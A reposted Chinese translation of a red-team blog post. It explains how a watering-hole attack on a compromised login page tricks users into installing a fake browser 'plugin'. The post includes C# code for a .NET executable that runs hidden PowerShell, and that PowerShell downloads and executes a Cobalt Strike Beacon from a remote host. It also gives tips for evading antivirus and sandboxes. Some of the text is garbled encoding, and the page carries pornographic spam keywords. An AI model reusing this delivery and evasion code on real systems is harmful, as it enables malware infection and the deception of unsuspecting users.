日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > asp.net >内容正文

asp.net

手把手教渗透测试人员打造.NET可执行文件

發(fā)布時(shí)間:2025/6/16 asp.net 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 手把手教渗透测试人员打造.NET可执行文件 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

在進(jìn)行滲透測試的過程中,我們有時(shí)候會(huì)希望使用可執(zhí)行文件來完成某些任務(wù)。最近,我們在測試過程中拿下了一個(gè)網(wǎng)站,從而獲得了一次發(fā)動(dòng)水坑攻擊的機(jī)會(huì)。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是,?我們將JavaScript嵌入網(wǎng)站的登錄頁面,提醒用戶當(dāng)前的應(yīng)用程序需要安裝一個(gè)瀏覽器插件才能正常使用,然后誘騙用戶下載相應(yīng)的“插件”。最初的時(shí)候,我們嘗試?yán)靡粋€(gè)HTA文件在用戶的系統(tǒng)上執(zhí)行PowerShell命令,以便建立一個(gè)連接我們的服務(wù)器(Cobalt Strike)的C2通道。但由于某種原因,這種方法在我們的目標(biāo)系統(tǒng)上面無法正常使用。后來,我們在自己的多個(gè)系統(tǒng)上對(duì)這種攻擊方法進(jìn)行了嘗試,結(jié)果一切正常,所以我們不知道HTA是被某些東西攔截了,還是引起了用戶的懷疑,或者用戶被HTA文件給搞糊涂了。不過不用擔(dān)心,我們只要把HTA換成了一個(gè)定制的exe文件,我們的成功率就能超過50%。?

然而,exe文件(也稱為可移植可執(zhí)行文件,也就是PE,因?yàn)樗擞蒞indows運(yùn)行所需的全部信息)的問題在于,它通常情況下必須寫入磁盤,但是這樣一來,它就很容易被AV軟件發(fā)現(xiàn)。我們知道,各種紅隊(duì)工具(從Metasploit到Cobalt Strike)都能夠生成一個(gè)通過C2通道反向連接攻擊者機(jī)器的exe文件。雖然這些文件每個(gè)都不盡相同(這樣就能確保具有不同的哈希值),但是,它們卻很難逃過AV的法眼。?

VirusTotal對(duì)Cobalt Strike默認(rèn)的Beacon有效載荷的分析結(jié)果。?

實(shí)際上,有許多工具可以將這些PE文件封裝成不同的代碼,以使其看起來跟原來不一樣,從而逃避各種安全檢測,這些工具包括之前非常流行的Veil-Evasion。?盡管Veil為攻擊者提供了很多選項(xiàng),但防御工具也對(duì)這種可執(zhí)行文件封裝器的路數(shù)了如指掌。

編寫定制的PE文件繞過安全檢測

事實(shí)證明,即使沒有非常尖端的工具、先進(jìn)的加密技術(shù)或0-day漏洞利用代碼,也照樣可以繞過99%的防御性產(chǎn)品。為此,只需要?jiǎng)?chuàng)建一些自定義的東西——那些安全軟件從來沒有見過的東西。這時(shí)候,編寫定制的PE文件就派得上用場了。?我們將使用Visual Studio編寫一個(gè).NET可執(zhí)行文件,讓它來執(zhí)行我們需要的命令。

首先,讓我們啟動(dòng)Visual Studio并創(chuàng)建一個(gè)新項(xiàng)目。這里,我們可以使用“Windows Forms App (.NET Framework)”模板。?

在Visual Studio中新建一個(gè)項(xiàng)目。

由于只是創(chuàng)建一個(gè)可以靜默運(yùn)行的可執(zhí)行文件(無窗口),所以,我們可以刪除Visual Studio創(chuàng)建的“Form1.cs”以及Program.cs中Main函數(shù)的內(nèi)容。?如果你想為惡意軟件創(chuàng)建一個(gè)更合理的前端視圖,你可以保留這個(gè)表單,創(chuàng)建更加有用的外觀。?

刪除系統(tǒng)為我們生成的表單后的項(xiàng)目。

接下來,我們將為讀者介紹如何通過C#應(yīng)用程序來啟動(dòng)一個(gè)程序。這里,我們將以PowerShell為例進(jìn)行介紹。

(在以后的文章中,我們將介紹如何直接從C#程序加載代碼,而無需啟動(dòng)另一個(gè)進(jìn)程)

這里將使用System.Diagnostics.Process類來設(shè)置和啟動(dòng)我們的新進(jìn)程。同時(shí),這里將powershell.exe設(shè)置為我們的進(jìn)程,并向其傳遞一個(gè)要執(zhí)行的命令。?在這個(gè)例子中,我們會(huì)讓PowerShell“沉睡”10秒,以便留出足夠的時(shí)間來觀察其中的運(yùn)作機(jī)制。?

static void Main()

{

? ?? ?Process process = new Process();

? ?? ?process.StartInfo.FileName = "powershell.exe";

? ?? ?process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

? ?? ?process.Start();

}

當(dāng)運(yùn)行該程序(點(diǎn)擊頂部菜單中的“Start”按鈕或按F5)的時(shí)候,您應(yīng)該會(huì)看到一個(gè)PowerShell窗口停留10秒鐘,然后關(guān)閉。你會(huì)注意到,最初的C#進(jìn)程一旦啟動(dòng)PowerShell,它自己就會(huì)馬上退出;它不會(huì)等待PowerShell進(jìn)程退出。

為了觀察PowerShell進(jìn)程的行為表現(xiàn),需要將窗口設(shè)置為隱藏狀態(tài)。為此,可以直接使用ProcessStartInfo類,而不必在PowerShell中使用“-w hidden”參數(shù),因?yàn)楹笠环N做法常常會(huì)引起安全軟件的懷疑。?

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我們還可以將前面的sleep命令換成一個(gè)下載并執(zhí)行指定有效載荷(例如Cobalt Strike的Beacon)的PowerShell命令。顯然,我們需要設(shè)置好相應(yīng)的有效載荷和監(jiān)聽器。?

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

現(xiàn)在,終于到了exe文件出場的時(shí)候了。如果您已經(jīng)通過了代碼的最終版本,那么該exe文件將位于projectnamebinDebugprojectname.exe下的項(xiàng)目文件夾中。?如果你不想在自己的系統(tǒng)上運(yùn)行有效載荷,你可以選擇Build>Build Solution菜單項(xiàng)或者按F6來構(gòu)建一個(gè)新的exe版本,而無需真正執(zhí)行這個(gè)程序。

讓我們看看效果到底是如何!

最后的效果

VirusTotal對(duì)我們定制的可執(zhí)行文件的分析結(jié)果。

不錯(cuò)!

它看起來一切正常!

通過運(yùn)行我們的自定義可執(zhí)行文件獲得的Beacon

下一步?

很明顯,五行自定義代碼并不是一個(gè)長久的解決方案。我毫不懷疑,其他人也會(huì)發(fā)現(xiàn)這個(gè)方法非常有用,隨著使用這種方法的人越來越多,這種方法也會(huì)漸漸被AV所察覺。然而,我們自己編寫可執(zhí)行文件的好處是,我們可以自定義程序的核心,并且可以隨時(shí)隨地進(jìn)行大刀闊斧的修改。畢竟,通過添加無關(guān)的函數(shù)來隱藏代碼是很容易的事情,無論是計(jì)算pi還是對(duì)列表進(jìn)行排序的代碼,都可以達(dá)到同樣的效果。

我們也可以通過其他.NET函數(shù)來加強(qiáng)我們的程序。例如,如果我們知道目標(biāo)系統(tǒng)的域名,我們可以在啟動(dòng)PowerShell進(jìn)程之前檢查該域名,以避免陷入沙箱。

很明顯,我們在這里仍然調(diào)用了PowerShell,所以任何與此相關(guān)的日志或警報(bào)仍然適用。理想情況下,我們不會(huì)調(diào)用我們定制的可執(zhí)行文件之外的任何程序。

下一個(gè)重要步驟是將有效載荷的所有內(nèi)容都放入在可執(zhí)行文件中。這里需要涉及許多方面,從在本地機(jī)器上托管PowerShell代碼,到通過命令完成下載和執(zhí)行,以及將shell代碼加載到內(nèi)存中。

猜你喜歡:利用Python CGIHTTPServer繞過CSRF令牌

總結(jié)

以上是生活随笔為你收集整理的手把手教渗透测试人员打造.NET可执行文件的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。